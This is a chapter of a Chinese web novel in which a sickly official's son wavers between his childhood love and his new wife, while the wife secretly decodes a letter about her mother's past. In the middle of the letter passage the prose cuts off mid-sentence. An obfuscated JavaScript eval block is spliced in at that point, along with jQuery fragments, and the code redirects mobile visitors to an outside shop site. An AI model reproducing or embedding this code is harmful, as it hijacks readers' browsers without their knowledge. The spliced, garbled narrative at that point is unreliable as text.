夜深后，谢承彦仍坐在书房里。
窗外风声渐起，竹影映在窗纸上，笔架旁的灯烧得久了，灯芯结出一点暗红。案上摊着一卷策论，字字皆有锋芒，谢承彦却许久未翻过一页。
长公主府归来后，他心里便乱。
温妩在马车里靠近时，那一点衣袖擦过的暖意，到此刻仍像留在他膝边。
她仰脸同他说话，杏眼含笑，声音柔得恰到好处。那不是周云瑶给过他的感觉。
云瑶是多年求不得的月色。
温妩却像灯下骤然挨近的一团暖，叫人心口发紧，想退，又舍不得退。
谢承彦抬手按住眉心。
他自幼便知道，自己在侯府里不算讨喜。
他的生母原是老夫人身边的丫头，生得清秀，行事也本分，后来被老夫人指给侯爷做了姨娘。
听府中旧人说，母亲是父亲第一个女人，曾经也得过几分怜惜。后来侯夫人进门，母亲没有争宠，也没有哭闹，日子过得谨慎，才在府里留住了几分体面。
可这点体面很薄。
母亲怀他时误食了不该入口的东西。府医来来回回看了几回，终究只保下了孩子。谢承彦出生便弱，母亲没撑多久，将他托付给老夫人后便去了。
老夫人怜他无母，从小把他养在身边。因着老夫人这层庇护，府中下人明面上不敢怠慢他。可背后的话，他不是没听见过。
病秧子。
庶出。
姨娘命薄，孩子也未必长久。
那些话像冬日檐下冻住的水，一点一点落进他幼年心里。他不敢同老夫人说。老夫人年岁已高，疼他是一回事，能不能替他挡住所有人的眼睛和嘴，又是另一回事。
后来，周云瑶常来侯府。
她是谢临川自幼定下的未婚妻，身份贵重，模样也好。
那时谢临川性子冷，年纪不大，已不大爱搭理人。周云瑶在他那里碰了冷脸，便会来找谢承彦。
她会让他替她拿风筝，会故意把棋子藏起来叫他找，会笑着说他身子弱，连追她几步都追不上。
那些大约算不上真正的善意。
可谢承彦那时仍觉得开心。
因为除她之外，少有人愿意找他玩。
那些同龄的世家子弟嫌他病气重，也嫌他庶出身份尴尬。
周云瑶愿意坐在他身边说话，愿意把新得的点心分给他一块，哪怕十句里有三句捉弄，也足够他在夜里反复想很久。
他就这样喜欢上了弟弟的未婚妻。
多么卑劣。
谢承彦望着灯火，喉间泛出一点苦意。若父亲知道他有这样的心思，只怕会当场动家法。
侯府最讲规矩，父亲也最厌恶子弟失德。
他这个庶长子本就处境尴尬，还敢觊觎嫡弟的未婚妻，传出去便是满府的笑话。
所以他瞒得很深。
家族给他安排婚事时，他并非没有想过争一次。
若云瑶愿意，他也许真会背弃家族，拼着父亲责罚，拼着被侯府厌弃，也要替自己讨一个结果。可云瑶没有。
她哭过，也说过心里有他。可到最后，她仍旧不愿。
谢承彦便退回原处。
他更不能怪温妩。
这桩婚事里，她才是最无辜的人。她从江南远嫁入京，满心想做一个好妻子。
新婚夜，他以病体为由避开她；婚后这些日子，他也总是回避她的亲近。她却从未当着旁人的面叫他难堪。
她学规矩，侍汤药，晨昏定省。
府中嬷嬷有时说话不好听，她也只是低头听着。谢承彦有几回撞见她在廊下受训，明明眼眶都红了，回到他面前仍要笑着说没事。
后来太医要以血入药。
她站出来时，谢承彦几乎不敢看她的眼睛。
那样娇气的一双手，却毫不犹豫递了出去。
她说他是她的夫君，她没有理由把这件事推给旁人。
今日云瑶来问他，是不是忘了当初答应过的话。
他答不上来。
云瑶哭着问他，是不是当真要同温妩做一对真正夫妻。他喉间像堵着东西，迟迟说不出那个“不”字。
他们争执了。
周云瑶负气离开时，谢承彦站在原地，没有追。
这是头一回。
因为那一瞬，他脑中浮出的不是周云瑶红着眼的模样，而是温妩坐在马车里对他笑的样子。若他追出去，温妩知道了，应当会伤心吧。
这个念头叫他心慌。
回府路上，温妩离他很近。她说话时眼睛像含着水，指尖碰过他的袖口，便叫他心跳乱了。那样的感觉新奇，又叫人难以招架。他羞愧得几乎不敢看她，下车后便一头扎进书房。
可躲到书房里，心还是不静。
谢承彦低头看着案上书卷，苦笑了一下。
他想不通自己。
后面一月，侯府倒是平安。
谢承彦放下脸面，去求老夫人。他想入国子监，拜宋清宋大儒为师，安心备考。老夫人起初担心他身体，架不住他执意，又见太医说只要不过分劳累，外出读书未必全是坏事，便应了。
宋清为人严厉，最不喜勋贵子弟靠家世求学。谢承彦亲自递了文章去，等了三日，才得了入门的机会。
温妩听闻后，表现得比他还欢喜。
她亲自替他收拾书箱，又让小满备下暖手炉和药囊，叮嘱进宝按时提醒他用药。谢承彦看着她忙来忙去，心中那股说不清的滋味越发深。
温妩心里却有另一层思量。
谢承彦突然发奋，多半与长公主府那日同周云瑶的争执有关。周云瑶一直拿身份和婚约压着他，谢承彦若想改变自己的处境，得到周云瑶，唯有功名一条路。
这对温妩而言不是坏事。
她本就不想一辈子捆绑在侯府，复仇成功后，她还是想回江南，做一个自由自在的小娘子。
谢承彦忙于国子监，她便多了许多自由。
谢临川也不在京中。
皇上派他巡视辽北，顺道去边疆见宣平侯。谢临川走得很快，离京时没有同温妩说什么。
温妩只在老夫人院中听人提过一句，说世子已出发半月，辽北寒苦，恐怕要过些日子才回。
两大障碍一时都有事做。
温妩的规矩也学得越发挑不出错。魏氏身边的嬷嬷挑剔许久，最后也只能说她行事还算谨慎。
江南回信便在这时到了。
苏升泰的信写得平常，满纸都是让她安心在侯府过日子，好好侍奉夫君，莫要忘了苏家养育之恩。温妩看完，只觉得好笑。
信封里夹着一张空白纸。
她将房门合上，让小满守在外头，自己点了烛火，将那张纸慢慢烤过。纸面被火气一熏，浅褐色字迹渐渐浮出。
这是她同王妈妈离别前约好的法子。
王妈妈的字算不得好，笔画有些硬，落在纸上却叫温妩心口一酸。
温蘅娘当年入京后，曾在城南驿站住过几日。她不是一到京城便见到了那负心人，中间有一段不明去处。
王妈妈猜测，应当是被什么人收留过。温蘅娘回扬州后对此只字不提，王妈妈心中有疑，也没有逼问。
后来，温蘅娘伤势很重，曾在神志不清时提过一个“苗婆”。
那苗婆似乎是京郊一处破庙附近的女医，见温蘅娘被人丢在庙后，身上带伤，又怀着孩子，便替她免费看过伤。
信中还写，温蘅娘回扬州后，有个手背带疤的妇人来过沉香阁。
那妇人口音带京腔，衣料却比寻常家仆好许多。她给温蘅娘送了一封信。温蘅娘看完那封信后，便更加坚定要生下孩子。
其余的，她什么也不肯说，那封信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702851|208241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也被烧了个干净。
王妈妈在信末写：可信之人，一个也无。妩儿，京城深，你惜命。
温妩看完许久未动。
烛火烧得很安静，屋外小满低声问了一句姑娘可好。温妩回过神，应了一声，将纸放进铜盆里烧掉。
纸灰卷起，又慢慢塌下去。
城南驿站。
京郊破庙。
苗婆。
手背带疤的妇人。
这些东西隔了太多年，当年知情之人是否还在人世，谁也说不准。可终归有了方向。
温妩坐到妆台前，望着镜中自己的脸。
如今谢承彦去了国子监，谢临川又离京。她每日除了晨昏定省，其余时间比从前宽松许多。若要查苗婆和那个妇人，眼下正是机会。
只是不能急。
她得像在侯府学规矩一样，一步一步来，不露痕迹。
晚膳时，温妩吃得不多。
谢承彦从国子监回来，脸色带着倦意，见她面前那碗汤只动了两口，便问：“今日胃口不好？”
温妩抬眼，像是才回过神，笑了笑：“许是天气闷。”
谢承彦看着她，温声道：“是不是想江南了？”
温妩手中的筷子停住。
她垂下眼，睫毛遮住眸中情绪。片刻后，她低声道：“夫君怎么这样问？”
“你今日看着有些心不在焉。”谢承彦说，“若是想家，也不必瞒着我。”
温妩沉默了一会儿。
再开口时，声音比平日低些。
“江南太远了。父亲母亲又都不在身边。我有时也会怕，怕在京城久了，连回去的路都忘了。”
谢承彦心口微动。
温妩抬眼看他，眼里带着几分依赖，也带着一点强撑出来的笑意。
“幸好如今还有夫君。”
这句话落下，谢承彦握筷的手顿住。
她说得很轻快，却像一根细线，慢慢缠上他心口。
晚膳后，谢承彦让进宝取来一只小匣。
匣中放着一支玉簪。
簪身没有繁复花样，只在尾端刻了一枝细竹，玉色温润，入手清凉。旁边还有一本江南游记，书页翻过几处，夹着一张谢承彦亲手写的批注。
“这簪子不算贵重，胜在雅致。”谢承彦看着她，“游记是我从前读过的，上头有几处批注。若你想江南了，可以看一看。”
温妩怔怔望着那两样东西。
那本游记翻开，纸页上写着江南水巷、雨中石桥、春日柳岸。扬州两个字撞进眼底时，她真想起了王妈妈，想起沉香阁后门那条窄巷，想起自己曾在江南活过。
温妩低下头，指尖抚过玉簪。
“夫君还记得我从江南来，我便很高兴。”
谢承彦心中更软。
两人坐在书房里说了许久。
谢承彦说自己从前也想去江南，看书里写水乡烟雨，便总想着若身体好些，也许能亲眼去瞧一瞧。
温妩笑着看他：“待夫君病好了，我带你去。江南的春日最好，河边小楼开着窗，夜里还能听见船娘唱曲。扬州醉鸭也好吃，夫君若去了，我请你吃。”
谢承彦看着她眉眼间难得流露出的鲜活，心中那点疼惜越发深。
她提到江南时，整个人都像明亮了些。这样的温妩，不像侯府里被规矩压着的新妇，也不像每日侍药请安的妻子。
她有自己的来处，有自己的喜欢，也有自己藏得很深的孤单。
谢承彦忽然很想护住这点鲜活。
他垂眼看着案上游记，声音放得低：“好。等我身子好些，也等我考取功名，我便同你去江南。”
温妩抬眼，笑意柔软：“一言为定。”
灯影落在两人之间。
谢承彦望着她，心中那杆一直摇摆不定的秤，在此刻无声地偏了一寸。